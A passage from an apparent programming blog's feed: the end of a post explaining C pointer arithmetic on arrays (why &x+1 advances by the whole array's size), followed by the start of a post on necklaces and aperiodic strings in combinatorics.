&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So that means also that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the same than &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plus&lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// byexample: +paste&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;em&gt;philosofical&lt;/em&gt; question begins with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: what is the address of the address of an array?&lt;/p&gt;
&lt;p&gt;Well the fact it is the address itself, a kind of self-referencing notation:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ampersand&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ampersand&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// byexample: +paste&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; requires understand the &lt;a href="https://en.cppreference.com/w/c/language/operator_precedence"&gt;operator precedence&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;address-of&lt;/em&gt; operator has &lt;strong&gt;more precedence&lt;/strong&gt; than the &lt;em&gt;addition&lt;/em&gt; operator so we should interprete the expression as &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// byexample: +paste&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;This is when the thing gets weird.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;An address is not just a number, it &lt;strong&gt;carries&lt;/strong&gt; information of the type: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is an &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; array so &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; points to an &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; array.&lt;/p&gt;
&lt;p&gt;&lt;label for='Ck15IGluaXRpYWwgdGhvdWdodCB3YXMgYCgmeClgIGlzIGFuIGFkZHJlc3Mgc28gYCsxYCBhZGRzIDEgdG8gdGhlCmFkZHJlc3MuIEkgd2FzIHNvIHdyb25nLgogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='Ck15IGluaXRpYWwgdGhvdWdodCB3YXMgYCgmeClgIGlzIGFuIGFkZHJlc3Mgc28gYCsxYCBhZGRzIDEgdG8gdGhlCmFkZHJlc3MuIEkgd2FzIHNvIHdyb25nLgogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
My initial thought was &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is an address so &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; adds 1 to the address. I was so wrong.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;It is a &lt;em&gt;pointer&lt;/em&gt; so the addition is in terms of the size of the element pointer to: not &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;!.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ampersand&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plus&lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ampersand&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ampersand&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plus&lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// byexample: +paste&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For completeness, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the address of the second element’s &lt;em&gt;address&lt;/em&gt;. An address of an address makes no sense:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;?:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cannot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;take&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;an&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rvalue&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="final-score"&gt;Final score&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Good&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// Good&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// Good&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%p&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// EPIC FAIL&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Honestly, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; took me by surprise.&lt;/p&gt;
&lt;h2 id="bonus-track"&gt;Bonus track&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://linux.die.net/man/1/cdecl"&gt;cdecl&lt;/a&gt;, a tool to compose and decode C/C++ type declarations.&lt;/p&gt;
&lt;!--
$ hash cdecl 2&gt;/dev/null &amp;&amp; echo "installed"
&lt;cdecl-installed&gt;

--&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cdecl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;declare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;signal as function (arg1,arg2) returning pointer to function returning void&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;# byexample:  +if=cdecl-installed&lt;/span&gt;
void&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;*signal&lt;span class="o"&gt;(&lt;/span&gt;arg1,&lt;span class="w"&gt; &lt;/span&gt;arg2&lt;span class="o"&gt;))()&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;cdecl&lt;span class="w"&gt; &lt;/span&gt;explain&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;char *(*fptab[])()&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;# byexample:  +if=cdecl-installed&lt;/span&gt;
&lt;span class="nb"&gt;declare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;fptab&lt;span class="w"&gt; &lt;/span&gt;as&lt;span class="w"&gt; &lt;/span&gt;array&lt;span class="w"&gt; &lt;/span&gt;of&lt;span class="w"&gt; &lt;/span&gt;pointer&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;returning&lt;span class="w"&gt; &lt;/span&gt;pointer&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;char
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/02/18/Ksplice-Pointer-Challenge.html" rel="alternate" type="text/html" title="Ksplice-Pointer-Challenge"/>
    <category term="pointer" label="pointer"/>
    <category term="memory" label="memory"/>
    <published>2021-02-18T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/02/15/Necklaces-Lyndon-Words-and-De-Bruijn-Sequences.html</id>
    <title>Necklaces, Lyndon words and De Bruijn Sequences</title>
    <updated>2021-02-15T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;What have in common a dense arrays for mapping numbers power of 2 to some objects, DNA sequencing and brute-forcing the lock pad of your neighbor?&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="substrings"&gt;Substrings&lt;/h2&gt;
&lt;p&gt;Given an alphabet of \(k\) symbols, you can build strings of length \(n\) from it.&lt;/p&gt;
&lt;p&gt;For a binary alphabet \({0,1}\) these are the strings of length 4:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    0000    0100    1000    1100
    0001    0101    1001    1101
    0010    0110    1010    1110
    0011    0111    1011    1111&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A set of elements like the strings above can be &lt;em&gt;classified&lt;/em&gt;: choose a &lt;em&gt;relationship&lt;/em&gt; among the elements and build a class where all the elements of the class have the same relation.&lt;/p&gt;
&lt;p&gt;Mathematically, each class is defined as&lt;/p&gt;
$$ C = { x \in X \vert a \sim x }$$
&lt;p&gt;Where \(a\) is one element of the set \(X\) that is used as a reference.&lt;/p&gt;
&lt;p&gt;For example, we can classify the binary strings in two classes: the ones that have its last bit equal to 0 and the ones which don’t.&lt;/p&gt;
&lt;p&gt;In other words: the even and the odd numbers.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    0000    0100    |    0001    0101
    0010    0110    |    0011    0111
    1000    1100    |    1001    1101
    1010    1110    |    1011    1111&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In mathematics jargon, each class is an &lt;a href="https://en.wikipedia.org/wiki/Equivalence_class"&gt;equivalence class&lt;/a&gt; and the relation used to group them is an &lt;a href="https://en.wikipedia.org/wiki/Equivalence_relation"&gt;equivalence relation&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="necklaces"&gt;Necklaces&lt;/h2&gt;
&lt;p&gt;The relation \(x \sim a\) is quite arbitrary; another relation could be the strings of length 4 that are a &lt;em&gt;rotation&lt;/em&gt; of another string.&lt;/p&gt;
&lt;p&gt;This generates 6 classes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    0000  |  0001  |  0011  |  0101  |  0111  |  1111
          |  0010  |  0110  |  1010  |  1101  |
          |  0100  |  1100  |        |  1011  |
          |  1000  |  1001  |        |  1110  |&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Each &lt;a href="https://en.wikipedia.org/wiki/Equivalence_class"&gt;equivalence class&lt;/a&gt; generated from strings of length \(n\) from an alphabet of \(k\) elements which &lt;a href="https://en.wikipedia.org/wiki/Equivalence_relation"&gt;equivalence relation&lt;/a&gt; is the rotation has the special names of &lt;a href="https://en.wikipedia.org/wiki/Necklace_(combinatorics)"&gt;necklaces&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The above 6 classes are 6 necklaces for \(k=2\) and \(n=4\).&lt;/p&gt;
&lt;h2 id="aperiodic-necklaces"&gt;Aperiodic necklaces&lt;/h2&gt;
&lt;p&gt;As you notice how many elements a necklace has varies. The necklace generated from all the rotations of 0000 has only one element: {0000}; while the necklace generated from 0001 has 4 elements: {0001, 0010, 0100 and 1000}.&lt;/p&gt;
&lt;p&gt;These are two extremes. A middle point is the necklace {0101, 1010}.&lt;/p&gt;
&lt;p&gt;You see, if you pick a string and you start rotating it you may find yourself with the same initial string &lt;strong&gt;before&lt;/strong&gt; doing a complete wrap-around.&lt;/p&gt;
&lt;p&gt;Pick 0101, rotate it once and you get 1010, and once more and you get the original 0101.&lt;/p&gt;
&lt;p&gt;If you do the same with 0001 you will find that you need to perform 4 rotations to get the initial string.&lt;/p&gt;
&lt;p&gt;An &lt;em&gt;aperiodic&lt;/em&gt; sequence respect the rotation are the strings of length \(n\) that you need to perform exactly \(n\) rotations to get the initial strings.&lt;/p&gt;
&lt;p&gt;Therefore the necklace that contains them has exactly \(n\) elements and it is known as &lt;em&gt;aperiodic necklace&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='CllvdSBtYXkgZmluZCBtdWx0aXBsZSBzdWJzdHJpbmdzIHRoYXQgcmVwZWF0ZWQgZm9ybSB0aGUgc2FtZQpzdHJpbmcuIEZvciBleGFtcGxlIDAxMDEwMTAxIGNhbiBiZSBmb3JtZWQgcmVwZWF0aW5nIDAxMDEgdHdpY2UKb3IgMDEgZm91ciB0aW1lcy4KClRoZSBmYWN0IGlzIHRoYXQgMDEwMSBpcyBpbiB0dXJuIHBlcmlvZGljLiBUaGUgc3Vic3RyaW5nIHRoYXQgaXQKaXMgKmFwZXJpb2RpYyogaXMgY2FsbGVkIHRoZSAqYXBlcmlvZGljIHJlZHVjdGlvbiogb2YgdGhlIG9yaWdpbmFsCnN0cmluZy4KCkluIG91ciBjYXNlLCAwMSBpcyB0aGUgYXBlcmlvZGljIHJlZHVjdGlvbiBvZiAwMTAxIGFuZCBvZiAwMTAxMDEwMS4KIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
